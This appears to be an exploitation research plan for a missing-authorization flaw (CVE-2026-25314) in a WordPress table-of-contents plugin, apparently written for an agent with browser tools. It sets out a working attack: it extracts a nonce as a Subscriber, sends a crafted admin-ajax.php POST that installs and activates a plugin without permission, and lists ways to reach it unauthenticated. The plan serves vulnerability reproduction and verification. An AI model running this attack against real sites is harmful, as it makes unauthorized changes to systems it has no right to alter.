Exploitation Research Plan: CVE-2026-25314 (TOP Table Of Contents)

1. Vulnerability Summary

The TOP Table Of Contents plugin (versions <= 1.3.31) contains a missing authorization vulnerability in its AJAX implementation. Specifically, the function Boomdevs_Toc_custom_plugin_install is registered for both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users but fails to perform any capability checks (e.g., current_user_can( 'install_plugins' )).

While the function is hardcoded to install a specific plugin (ai-image-alt-text-generator-for-wp), the lack of authorization allows any user (Subscriber and potentially unauthenticated users if they can obtain a nonce) to trigger the installation and activation of a plugin on the site, which is a significant unauthorized action.

2. Attack Vector Analysis

• AJAX Action: Boomdevs_Toc_custom_plugin_install
• Endpoint: /wp-admin/admin-ajax.php
• Authentication: Required (Subscriber-level access is sufficient to obtain the nonce).
• Nonce Requirement: Yes. The function uses check_ajax_referer('Boomdevs_Toc_custom_plugin_install_nonce', 'security').
• Vulnerable Sink: The function calls $upgrader->install(...) and activate_plugin(...) without checking user permissions.

3. Code Flow

1. Registration: In admin/class-boomdevs-toc-admin.php, the AJAX hooks are registered:

   add_action('wp_ajax_Boomdevs_Toc_custom_plugin_install', [$this, 'Boomdevs_Toc_custom_plugin_install']);
   add_action('wp_ajax_nopriv_Boomdevs_Toc_custom_plugin_install', [$this, 'Boomdevs_Toc_custom_plugin_install']);
   

2. Nonce Generation: In the same file, enqueue_scripts() localizes the nonce for the admin area:

   wp_localize_script($this->plugin_name, 'Boomdevs_Toc_custom_plugin_install_obj', array(
       'ajax_url'  => admin_url('admin-ajax.php'),
       'security' => wp_create_nonce('Boomdevs_Toc_custom_plugin_install_nonce')
       )
   );
   

3. Vulnerable Function: The Boomdevs_Toc_custom_plugin_install function in admin/class-boomdevs-toc-admin.php executes:
   • Validates the nonce via security parameter.
   • Hardcodes $plugin_slug = 'ai-image-alt-text-generator-for-wp'.
   • Uses Plugin_Upgrader to download and install from WordPress.org.
   • Calls activate_plugin().

4. Nonce Acquisition Strategy

The nonce Boomdevs_Toc_custom_plugin_install_nonce is localized in the admin dashboard. Since even a Subscriber user can access /wp-admin/profile.php, they can retrieve this nonce.

1. Login: Authenticate as a Subscriber-level user.
2. Navigate: Go to /wp-admin/.
3. Extract: Use browser_eval to extract the nonce from the global JavaScript object:

   window.Boomdevs_Toc_custom_plugin_install_obj?.security
   

5. Exploitation Strategy

1. Identify Target: Ensure the target WordPress instance is running TOP Table Of Contents <= 1.3.31.
2. Obtain Nonce:
   • Perform a login as a Subscriber.
   • Use browser_navigate to /wp-admin/.
   • Use browser_eval to capture the security token from Boomdevs_Toc_custom_plugin_install_obj.
3. Trigger Installation: Send an HTTP POST request to the AJAX endpoint.
   • URL: http://[target]/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=Boomdevs_Toc_custom_plugin_install&security=[NONCE]
4. Capture Response: A successful response should be a JSON object: {"success":true,"data":{"message":"Plugin installed and activated successfully."}}.

6. Test Data Setup

1. Plugin: Install "TOP Table Of Contents" version 1.3.31.
2. User: Create a user with the subscriber role (e.g., username: attacker, password: password123).
3. Environment Check: Ensure the plugin ai-image-alt-text-generator-for-wp is NOT currently installed.

7. Expected Results

• The AJAX request returns a success message.
• The ai-image-alt-text-generator-for-wp plugin is downloaded into wp-content/plugins/.
• The ai-image-alt-text-generator-for-wp plugin appears as "Active" in the WordPress site.

8. Verification Steps

1. WP-CLI Plugin Check:

   wp plugin list --status=active
   

   Confirm ai-image-alt-text-generator-for-wp is in the list.
2. WP-CLI File Check:

   ls -d wp-content/plugins/ai-image-alt-text-generator-for-wp/
   

   Confirm the directory exists.

9. Alternative Approaches

If the Subscriber user cannot access /wp-admin/ due to a site-wide lockdown (though standard WP allows profile access):

1. Shortcode Extraction: Check if the plugin enqueues the same script on the frontend when a TOC is present. Create a page with [boomdevs-toc] and try to extract Boomdevs_Toc_custom_plugin_install_obj from the frontend.
2. Unauthenticated Check: Since wp_ajax_nopriv is registered, if an unauthenticated user can find any page where enqueue_scripts is called (or if the nonce is leaked via another vulnerability), they could trigger the install without logging in. Check the public/class-boomdevs-toc-public.php (not fully provided, but inferred) to see if scripts are shared.